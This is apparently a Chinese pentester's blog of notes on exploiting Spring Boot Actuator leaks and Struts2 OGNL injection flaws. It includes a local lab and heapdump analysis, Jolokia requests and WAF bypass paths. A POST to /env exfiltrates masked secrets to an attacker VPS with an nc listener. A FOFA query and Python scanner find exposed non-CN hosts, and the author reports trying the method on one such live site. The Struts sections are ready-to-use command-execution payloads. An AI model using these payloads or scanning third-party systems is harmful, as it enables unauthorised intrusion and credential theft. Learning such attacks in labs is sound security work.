常规外网打点(持续更新中……)

spring-boot

actuator泄露

参考:可造成敏感信息泄露!Spring Boot Actuator信息泄露漏洞三种利用方式总结 - FreeBuf网络安全行业门户

Springboot之Actuator信息泄露漏洞利用_spring actuator 漏洞-CSDN博客

actuator是帮助管理和监控Spring-Boot应用的模块,这个模块采集应用的内部信息,展现给外部模块,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信息以及web请求的详细信息等。

如果没有正确使用Actuator,可能造成信息泄露等严重的安全隐患(外部人员非授权访问Actuator),其中heapdump作为Actuator组件最为危险的web端点,heapdump因未授权访问被恶意人员获取后进行分析,可进一步获取敏感信息

1.x版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/configprops #显示所有@ConfigurationProperties

/env #公开Spring的ConfigurableEnvironment

/health #显示应用程序运行状况信息

/httptrace #显示HTTP跟踪信息

/metrics #显示当前应用程序的监控指标信息

/mappings #显示所有@RequestMapping路径的整理列表

/threaddump #线程转储

/heapdump #堆转储

/jolokia #JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法

2.x版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/actuator #查看有哪些Actuator端点是开放的

/actuator/auditevent #auditevents端点提供有关应用程序审计事件的信息

/actuator/beans #beans端点提供有关应用程序bean的信息

/actuator/configprops #configprops端点提供有关应用程序@ConfigurationProperties的信息

/actuator/env #查看全部环境属性,可以看到Spring-boot载入哪些properties,以及properties的值(会自动用*替换key、password、secret等关键字的properties的值)

/actuator/flyway #flyway端点提供有关Flyway执行的数据库迁移的信息

/actuator/health #显示应用程序运行状况信息

/actuator/httptrace #提供有关http请求-响应交换的信息(包括用户HTTP请求的Cookie数据,会造成Cookie泄露等)

/actuator/info #info端点提供有关应用程序的一般信息

/actuator/integrationgraph #integrationgraph端点公开了一个包含所有Spring Integrationgraph组件的图

/actuator/liquibase #liquibase端点提供有关Liquibase应用的数据库更改集的信息

/actuator/logfile #logfile端点提供对应用程序日志文件内容的访问

/actuator/loggers #loggers端点提供对应用程序记录器及其级别配置的访问

/actuator/mappings #mappings端点提供有关应用程序请求映射的信息

/actuator/metrics #metrics端点提供对应用程序指标的访问

/actuator/heapdump #heapdump端点提供来自应用程序JVM的堆转储(通过分析查看/env端点被*替换到数据的具体值)

/actuator/threaddump #线程转储

/actuator/jolokia #JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法

/actuator/prometheus #端点以prometheusPrometheus服务器抓取所需的格式提供Spring-boot应用程序的指标

/actuator/quartz #quartz端点提供有关由Quartz调整程序管理的作业和触发器的信息

/actuator/scheduledtasks #scheduledtasks端点提供有关应用程序计划执行任务的信息

/actuator/sessions #sessions端点提供有关由Spring session管理的应用程序HTTP会话的信息

/actuator/startup #startup端点提供有关应用程序启动顺序的信息

/actuator/shutdown #shutdown端点用于关闭应用程序

接下来就是要利用heapdump去解决密码是*的问题,尝试了一下在本地搭建带有spring-boot的actuator信息泄露的靶场:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
这里用的是kaliLinux

# 更新软件源并安装 OpenJDK 11 和 Maven
sudo apt update
sudo apt install default-jdk maven -y

# 验证安装是否成功(确保有版本信息输出)
java -version
mvn -version

#创建并就进入项目文件夹
mkdir ~/actuator-lab && cd ~/actuator-lab

#写入Maven配置文件(pom.xml)
cat << 'EOF' > pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.lab</groupId>
<artifactId>actuator-lab</artifactId>
<version>1.0</version>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.5</version>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
EOF

#创建目录并写入配置文件(包含敏感信息)
mkdir -p src/main/resources
cat << 'EOF' > src/main/resources/application.properties
# 危险配置:暴露所有 actuator 接口
management.endpoints.web.exposure.include=*
# 模拟敏感配置信息
cloud.aws.credentials.access-key=AKIAIOSFODNN7EXAMPLE
cloud.aws.credentials.secret-key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
EOF

#创建目录并写入Java漏洞代码
mkdir -p src/main/java/com/lab
cat << 'EOF' > src/main/java/com/lab/ActuatorDemoApplication.java
package com.lab;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@SpringBootApplication
@RestController
public class ActuatorDemoApplication {

// 模拟内存中驻留的敏感变量
private String userSessionToken = "";

public static void main(String[] args) {
SpringApplication.run(ActuatorDemoApplication.class, args);
}

@GetMapping("/login")
public String login(String password) {
// 将用户的密码拼接后长期保留在内存中
this.userSessionToken = "Token_Auth_" + password;
return "Login Success! Password saved in memory.";
}
}
EOF

#在~/actuator-lab目录下运行命令启动spring boot
mvn spring-boot:run
当终端出现类似 Started ActuatorDemoApplication in x.xx seconds 的字样时,说明靶场启动成功

搭建好之后可以通过IP下的8080端口访问

{% asset_img 1.png 1 %}

我们需要知道这个值,可以有几种利用方法

heapdump

首先模拟一个登录状态,之后我们尝试信息泄露的手法去访问/actuator/env/actuator/heapdump

{% asset_img 2.png 2 %}

{% asset_img 3.png 3 %}

访问/actuator/heapdump的话可以看到直接下载下来了一个文件,分析这个文件可以使用jvisualvm.exe这个JDK自带的工具,路径为JDK\bin\jvisualvm.exe

{% asset_img 4.png 4 %}

文件类型选择堆之后选择刚刚下载的heapdump,装入文件之后就是输入OQL语句过滤我们需要的信息

1
OQL是一种类似SQL的查询语言,用于查询Java堆,OQL允许从Java堆中过滤/选择所需的信息。虽然HAT已经支持诸如“显示X类的所有实例”之类的预定义查询,但OQL增加了更多的灵活性。OQL基于JavaScript表达式语言。

在Spring boot2.X版本中,env信息存储在java.util.LinkedHashMap$Entry类中

查询数据库密码需要在OQL控制台执行如下OQL语句:

1
select s from java.util.LinkedHashMap$Entry s where /spring.datadsource.password/.test(s.key)

不过我这里一直显示查询返回结果为空呢?

另一种方法就是先进入类标签页,在底部过滤器中搜索ActuatorDemoApplication

{% asset_img 5.png 5 %}

双击显示的有实例的类

{% asset_img 6.png 6 %}

找到这个userSessionToken,打开之后我们可以看到存在一个value:

1
84111107101110956511711610495907665828989

{% asset_img 7.png 7 %}

用逗号隔开的数字每一组对应一个字符的ASCII码:Token_Auth_ZLARYY

也可以试试使用https://github.com/wyzxxz/heapdump_tool

{% asset_img 8.png 8 %}

查询密码可以> password,获取ip> getip,获取url> geturl,获取文件路径> getfile

jolokia

要利用这个方法的话需要目标网站存在/jolokia/actuator/jolokia,使用了jolokia-core依赖,默认情况下actuator是没有jolokia接口的,所以需要再添加如下依赖:

1
2
3
4
5
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-core</artifactId>
<version>1.7.0</version>
</dependency>

除此之外我们还需要在/src/main/resources/application.properties加上:

1
spring.application.admin.enabled=true

首先依旧是访问/actuator/env接口,,获取想要获得明文的属性名,然后通过jolokia调用相关MBean获取明文。

{% asset_img 9.png 9 %}

接下来我们访问/actuator/jolokia/list

{% asset_img 10.png 10 %}

查看的内容是目标环境中存在的MBean

接下来我们尝试通过调用我们找到的MBean来获取我们感兴趣字段的明文:

1
2
3
4
POST/actuator/jolokia 
Content-Type:application/json
{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
#这里用的是security.user.password,在我这里查询应该是cloud.aws.credentials.secret-key

jolokia是一个JMX-HTTP桥接器,在Java中,JMX(Java Management Extensions)是用来在程序运行期间管理和监控Java程序的底层机制。Jolokia允许你通过发送简单的HTTP(JSON)请求,去调用Java底层的JMX方法,这段payload其实是执行了:

1
2
3
4
5
// 获取名为 SpringApplication 的管理 Bean (MBean)
Object mbean = getMBean("org.springframework.boot:name=SpringApplication,type=Admin");

// 执行 (EXEC) 它的 getProperty 方法,传入参数 "security.user.password"
mbean.getProperty("security.user.password");

{% asset_img 11.png 11 %}

如果是直接change request method的话要记得把Content-Type改为application/json,否则默认会是application/x-www-form-urlencoded

绕过waf的一些相关方法

文章参考:SpringBootActuator配置错误利用实战:路径探测、绕过技巧与敏感端点攻击 | ZONE.CI 全球网

  • 路径变体寻找actuator:

    1
    2
    3
    4
    5
    6
    #系统管理员可能将端点直接暴露在站点根目录下
    GET /env HTTP/2
    #Actuator 也可能存在于子目录中
    GET /att-admin/env HTTP/2
    GET /att-admin/actuator/env HTTP/2
    GET /att-admin/info/env HTTP/2
  • 通过特殊HTTP头访问actuator

    1
    2
    X-Forwarded-For: 127.0.0.1
    X-Original-URL: /avtuator/env
  • 访问mappings端点

    1
    GET /actuator/mappings HTTP/2

    访问这个端点很可能暴露出一些路由,去尝试访问就行

    如果mappings不可用的话,可以检查metrics端点:

    1
    GET /actuator/metrics HTTP/2

    它会返回可在后续请求中查询的指标名称列表:

    1
    {"names":["application.ready.time","application.started.time","disk.free","disk.total","executor.active","executor.completed","executor.pool.core","executor.pool.max","executor.pool.size","executor.queue.remaining","executor.queued","http.client.requests","http.client.requests.active","http.server.requests","http.server.requests.active","jvm.buffer.count","jvm.buffer.memory.used","jvm.buffer.total.capacity","jvm.classes.loaded","jvm.classes.unloaded","jvm.compilation.time","jvm.gc.live.data.size","jvm.gc.max.data.size","jvm.gc.memory.allocated","jvm.gc.memory.promoted","jvm.gc.overhead","jvm.gc.pause","jvm.info","jvm.memory.committed","jvm.memory.max","jvm.memory.usage.after.gc","jvm.memory.used","jvm.threads.daemon","jvm.threads.live","jvm.threads.peak","jvm.threads.started","jvm.threads.states","logback.events","process.cpu.time","process.cpu.usage","process.files.max","process.files.open","process.start.time","process.uptime","spring.cloud.gateway.requests","spring.cloud.gateway.routes.count","system.cpu.count","system.cpu.usage","system.load.average.1m"]}

    其中大部分是普通的元数据,值得关注的有:

    1
    2
    3
    4
    5
    6
    #利用这个字段产生的值尝试 vhost Fuzz 可能会有收获。这些主机名在 SSRF 场景中也非常有价值
    spring.cloud.gateway.requests
    #本质上是 mappings的低精度替代——信息量较少但仍然有用。从这里开始测试发现的路由即可
    http.server.requests
    #其含义与其他 metrics 类似。这些指标提供了有用的信息,能间接引导你继续深入
    http.client.requests

    使用方法如下:

    1
    GET /actuator/metrics/{metric-name} HTTP/2

    查询后 (精简输出) 可以揭示服务器或客户端最近发送或接收的请求

  • 路径遍历与绕过

    一般来说,简单和双重 URL 编码有时能帮助访问”被屏蔽”的 Actuator 端点

    上述引用文章也引用了https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf这个叫做Orange Tsai大佬的描述,通常表示为:

    1
    2
    3
    GET /..;/actuator/env HTTP/2
    GET /static../actuator/env HTTP/2
    GET /actuator/health/..;/env HTTP/2
  • 替代方案:使用”;”绕过

    成功的原因通常是不良的重写规则、黑名单或配置错误的规则

    1
    2
    3
    4
    GET /;/actuator/env HTTP/2
    GET /actuator;/env HTTP/2
    GET /actuator/env; HTTP/2
    GET /actuator/env;.. HTTP/2

    {% asset_img 12.png 12 %}

    {% asset_img 13.png 13 %}

    {% asset_img 14.png 14 %}

  • 通过httptrace端点实现会话接管

    1
    GET /actuator/httptrace HTTP/2
  • 其他有用的端点:logfile与gateway

    Actuator经常暴露 gateway/routes端点。如果你有写权限,SSRF 是现实可行的;在旧版Spring Boot中甚至可能导致RCE。logfile端点需要由管理员启用,它返回特定事件的日志。

  • CVE-2022-22978:允许绕过认证

    1
    GET /actuator/%0Aenv HTTP/1.1

实例

在fofa上搜索:body="Whitelabel Error Page" && country!="CN"然后通过python发包探测哪些存在actuator泄露,具体脚本可参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

route='/actuator/env'
urls=[
"这里面写你搜索到的第一个url",
"第二个",
"第三个"
]

for url in urls:
turl = url + route

try:
response=requests.get(turl,timeout=10)
print(f"请求:{turl}")

if response.status_code == 200:
print("成功")
print(response.text[:300])
else:
print("请求失败")

except requests.exceptions.RequestException as e:
pass

print("-"*50)

这样你就可以看到类似的页面:

{% asset_img 15.png 15 %}

我尝试的是具有/avtuator/jolokia/list的网站,所以我尝试了第一种获取明文方法:

{% asset_img 16.png 16 %}

接下来我再复现另外几种:

VPS

利用条件:

可以GET请求目标网站的/env,可以POST请求目标网站的/env,可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖),目标使用了spring-cloud-starter-netflix-eureka-client依赖,目标可以请求攻击者的服务器(请求可出外网),Spring Boot版本大于2.2.4,则必须使用下面的属性手动启用POST API调用,management.endpoint.env.post.enabled=true,否则不能通过POST访问env端点。

利用方法

  1. 首先访问url+/actuator/env来获取我们想要明文字段的key,我这里是sun.java.command
  2. 在自己控制的外网服务器上监听80端口nc -lvp80
  3. 将下面

http://value:${security.user.password}@your-vps-ip
security.user.password换成自己想要获取的对应的星号*遮掩的属性名;
your-vps-ip换成自己外网服务器的真实ip地址

1
2
3
POST/actuator/env 
Content-Type:application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

然后刷新配置:

1
2
POST/actuator/refresh 
Content-Type:application/json

按理来说这里我的监听应该能收到:

1
2
3
GET/apps/HTTP/1.1 
Accept:application/json,application/*+json
Authorization:BasicdmFsdWU6cm9vdA==

类似于这种的请求,然后将Authorization里面的字段base64解码之后就可以查看value,但是我这里没有看到请求,倒是在对方服务器actuator里面看到了……

{% asset_img 19.png 19 %}

可以看到是6007,好像是利用其出网必须是1.x版本,可惜了。。。。。

这里ZLARYY在练习使用python呢:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

base_url="http://受攻击的服务器"
route1="/actuator/env"
data={"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${server.port}@你的公网ip:8888/eureka/"}
headers={"Content-Type": "application/json"}
r1=requests.post(base_url+route1,json=data,headers=headers,timeout=10)
print(r1.status_code)
print(r1.text[:300])
route2="/actuator/refresh"
r2=requests.post(base_url+route2,headers=headers,timeout=10)
print(r2.status_code)
print(r2.text[:300])

另一种方法与这一种类似,只是包不一样:

1
2
3
4
POST/actuator/env
Content-Type:application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

然后还是进行刷新配置,再查看VPS

1
2
POST/actuator/refresh 
Content-Type:application/json
1
2
3
4
5
6
7
Ncat:Connectionfrom****** 
GET/SecretKe/apps/HTTP/1.1
Accept:application/json,application/*+json
Host:******
Connection:Keep-Alive
User-Agent:Apache-HttpClient/4.5.13(Java/1.8.0_191)
Accept-Encoding:gzip,deflate

apps前面的路径就是需要的数据

struts

学习struts相关漏洞之前先学习一下什么是OGNL吧

OGNL

参考:Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园

Struts2_S2-045漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-5638)-CSDN博客

Struts2框架漏洞总结与复现 - FreeBuf网络安全行业门户

Ognl表达式基本原理和使用方法 - 洋葱源码 - 博客园

一文全解:OGNL表达式以及Mybatis中的OGNL表达式-CSDN博客

Object Graphic Navigation Language,是一种表达式语言,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性,OGNL可以让我们用非常简单的表达式访问对象层,例如,当前环境的根对象为user1,则表达式person.address[0].province可以访问到user1的person属性的第一个address的province属性。

基本语法:

1
object.property.property...

其中object是要访问的对象,.适用于分隔对象和属性的符号,property是对象的属性名。OGNL表达式可以连续使用.来访问对象的嵌套属性

例如:假设有一个ZLARYY对象,其中包含一个Friends对象,可以使用OGNL表达式ZLARYY.Friends.Su@sU来访问Friends对象中的Su@sU属性

OGNL表达式除了基本的属性访问之外,还提供了许多高级特性,如:

  • 方法调用:可以使用()符号来调用对象的方法,如Person.getAge()
  • 数组和集合访问:可以使用[]符号来访问数组和集合中的元素,如:persons[0].namePerson.{name}
  • 条件表达式:可以使用?:符号来实现条件表达式,如Person.age > 18 ? '成年' : '未成年'
  • 循环和迭代:可以使用{}符号来实现循环和迭代,如{0..10}{Persons.name}

开发者喜欢配合spring、hibernat用,称为SSH

接下来跟着Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园复现漏洞!!!

S2-001(CVE-2007-4556)

它是Apache Struts2历史上第一个被公开的OGNL注入漏洞,这个漏洞产生的根本原因在于Struts2早期版本(2.0.0-2.0.8)处理表单验证失败时的逻辑缺陷,在一个典型的web登录或注册场景中,如果用户填写的表单数据没有通过验证(比如密码太短、用户名包含非法字符),后端通常会将用户打回原表单页面,并且把刚才用户输入的内容回显在输入框里面

为了实现这个动态回显功能,struts2默认开启了一个名为altSynax的特性,当表单验证失败需要重绘页面时,框架会将输入框的值作为OGNL表达式进行递归解析

这时候如果用户利用OGNL的语法特征,使用%{}将输入包裹起来,Struts2就会认为这是一段代码并执行它,比如:

1
2
3
假设你再用户名输入框里面填入:%{2+2}
当表单验证失败并重新加载后,就会发现输入框里面的内容变成了:4
这就证明服务器将用户的输入当成OGNL代码执行了

因为OGNL具备强大的Java底层调用能力,攻击者可以直接将数学运算替换为系统命令

具体的复现可以参考Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园这个大佬的文章,等ZLARYY学了代码审计之后再补复现的内容吧orz,这里就贴一下大佬的payload先:

1
2
3
4
5
6
7
8
9
10
11
# 获取tomcat执行路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
# 最后可能看到类似于value="tomcatBinDir{usr/local/tomcat}"就可以知道当前tomcat的执行路径为/usr/local/tomcat

# 获取Web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
# 可能会回显/usr/local/tomcat/webapps/ROOT/之类的当前系统web路径

# 执行任意命令
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
# 在这里面我们执行的命令是whoami

S2-003

S2-003是一个沙箱逃逸漏洞,其出现的原因是S2-001出现之后官方对其做了两层防御:

1.正则黑名单拦截:在ParametersInterceptor(处理HTTP参数的拦截器)中加入正则表达式,禁止参数名中包含#符号,因为OGNL访问上下文变量(如#session)必须用到#

2.引入安全沙箱(SecurityMemberAccess):在OGNL引擎底层增加了一个权限控制器,默认将allowStaticMethodAccess设置为false,从而禁用@符号去调用java.lang.Runtime等危险类的静态方法。

但是官方的正则表达式只拦截了明文的#字符,如果在HTTP参数名中使用OGNL引擎支持的Unicode编码\u0023或者八进制\43就能实现绕过#限制,然后就可以通过OGNL表达式修改沙箱的配置

1
2
3
# payload
//URL后拼接
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

或者:

1
2
3
4
5
6
7
8
# 开启静态方法调用权限(关闭沙箱):利用\u0023绕过拦截拿到#_memverAccess对象,强行把allowStaticMethodAccess属性改为true
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(empty)=true
# 放开方法执行限制
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']')(empty)=false
# 执行系统命令:沙箱被瓦解,然后使用@符号调用Runtime.getRuntime().exec()
('\u0023_memberAccess.excludeProperties={}')(empty)=true&
('\u0023rt=@java.lang.Runtime@getRuntime()')(empty)=true&
('\u0023rt.exec("whoami")')(empty)=true

S2-005(CVE-2010-1870)

该漏洞的产生首先是对S2-003漏洞的修补,官方在修补S2-003的时候仅仅是在用来拦截特殊字符的正则表达式的黑名单里,硬编码加上了\u0023\43这两个字符串,不过,只要对\u0023再做一些变化就能再次绕过黑名单,本质上与S2-003触发的是同一个底层问题。

在受影响的struts版本(2.0.0-2.1.8.1)中,XWork的ParametersIbtercepter(负责将HTTP参数映射到Java对象)在处理参数名时,默认允许使用OGNL表达式,XWork会将GET参数的键和值利用OGNL表达式解析为Java语句:

1
2
3
4
user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

payload:

1
/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

S2-007

与前几个漏洞场景不同,该漏洞核心为:类型转换错误

假设有一个注册表单里面有一个字段叫做“年龄”,在后端的Java中这个字段被定义为了Integer整数类型,正常情况下用户输入18,Struts2会自动将字符串”18”转换为整数18并赋值给属性,但如果用户输入abc就会造成类型转换粗偶无,框架无法把abc转成整数,于是会中断正常的流程并在输入框旁边提示“无效的年龄输入”,并且会将用户刚才输入的错误内容原样回显在输入框里面,但在这个回显的底层逻辑中,当ConversationErrorIntercepter(专门处理转换错误的拦截器)介入时,它会将用户的错误输入存入一个Map中,当页面的UI标签(比如<s:textfield>)尝试把错误值渲染回网页时,它会对这个值进行OGNL评估,为了防止直接执行,Struts2开发者在拼接OGNL表达式时给用户的输入加上了单引号,试图当作一个纯字符串来处理

当用户提交age为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似SQL注入单引号拼接的方式即可注入任意OGNL表达式。

影响范围:2.0.0-2.2.3

1
2
# payload
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

S2-008(CVE-2012-0391)

在Struts2的开发阶段,框架提供了一个名为devMode(开发模式)的功能,如果在struts.xml中配置了<constant name="struts.devMode" value="true" />,struts2就会开启大量的调试功能

其中包含一个名为DebuggingIntercepter(调试拦截器)的组件,允许开发者通过URL参数,直接向服务器发送一段OGNL代码并执行,如果运维在将代码发布到生产环境中时,忘记把devMode改回false,这样做只需要在任何Action的URL后面加上debug=command&expression=,后面跟上OGNL表达式

1
2
# payload
/devmode.action?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+-al+./').getInputStream()))

S2-009(CVE-2011-3923)

S2-009是对S2-005的白名单防御,官方限定HTTP的参数名称只能包含字母、数字及少数几个特定的符号中:[a-zA-Z0-9\.\]\[\(\)_']+

在OGNL的高级语法中,括号的特殊含义是:AST(抽象语法树)节点评估,如果写出类似于(A)(B)的OGNL表达式,引擎会先计算A的值,如果A提取出来的是一个字符串,引擎就会把这个字符串当作一段新的OGNL代码,作为B的上下文参数再去解析和执行。

虽然参数名受到白名单严格过滤,但是参数值不受正则限制,所以就可以把恶意代码放在值里

影响范围:2.1.0-2.3.1.1

比如:

1
/HelloWorld.acton?example=&(example)('xxx')=1
1
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

S2-012

S2-012并不是Struts默认配置下就会触发的漏洞,如果在配置Action中Result时使用了重定向类型,并且还使用${param_name}作为重定向变量,例如:

1
2
3
4
5
6
7
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>

这里UserAction中定义有一个name变量,当触发redirect类型返回时,Struts2 获取使用${name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任意OGNL表达式导致命令执行。

假设有一段OGNL探针:%{#a=2+2},将其赋值为name之后系统原封不动地将其赋值给了Action的name属性,执行Action之后登录逻辑执行完毕返回”success”,然后服务器读取重定向配置,此时准备用来重定向的URL从?name=${name}变成了?name=%{#a=2+2},最后由于struts2中的ServletActionRedirectResult类的设计缺陷,它在将URL真正发送给浏览器之前,为了确保URL里的动态参数都被正确解析,它会对拼装好的URL再次调用OGNL引擎进行一次评估,所以最后引擎看到了${...}语法就会执行变成?name=4

影响范围:2.1.0-2.3.13

1
2
# payload
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

S2-013/S2-014

这两个漏洞的原理一致但是触发漏洞的组件不同,在S2-012中,漏洞出现在<result type="redirect">的URL拼装环节上,在S2-013中,漏洞处在Struts2的UI标签组件上,特别是URL标签

struts2提供了一些方便在JSP页面中生成链接的标签,比如:<s:url><s:a>,这些标签有一个非常方便的属性叫做includeParams

当在JSP中有以下这段代码时:

1
<s:url action="HelloWorld" includeParams="all" />

includeParams的属性决定了在生成新的URL时要不要把当前请求中已有的参数也带过去,它有三个值:

none:不包含任何参数(默认值)

get:只包含当前请求中的GET参数

all:包含当前请求中的所有GET参数和POST参数

这时候如果页面上有一个标签:<s:a href="%{url}" includeParams="all">Click Here</s:a>,攻击者向这个页面发送一个包含恶意OGNL表达式的参数,比如:?fakeParam=%{#a=2+2},由于includeParams="all",struts2会去寻找当前请求的所有参数准备拼接到新生成的链接里,struts2的UrlHelper类在处理这些抓取来的参数时,为了防止这些参数值中可能存在动态变量,就会对这个参数值进行OGNL评估,于是%{a=2+2}在渲染JSP的时候就被触发了

1
2
# payload
?x=%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec("touch /tmp/s2013"))}

面对S2-013,官方的修复思路是在UrlHelper中处理参数时,限制了对%$以及某些特定字符的解析,不过依然可以像S2-003/005一样使用用过的AST语法评估技巧(比如用括号包裹)或者稍微变换一下OGNL的语法结构就能绕过

S2-015

这个漏洞的诞生为:通配符映射

1
2
3
<action name="*" class="com.demo.UserAction">
<result name="success">/{1}.jsp</result>
</action>

在这段代码中,如果用户访问login.action*就变成了login,系统最终会跳转到login.jsp,如果访问register.action,最终就会跳转到register.jsp

这样操作的结果会导致盲目地信任来自URL的输入,并在内部跳转时对这个输入进行二次解析:

如果访问/${2+2}.action,那么{1}就被替换为了${2+2},struts2中的TextParseUtil类在寻找这个JSP文件的物理路径时没发现字符串里面包含${...}就会认为这是一个动态表达式,最终唤醒OGNL引擎对Action名字进行计算,最终就变成了4.jsp

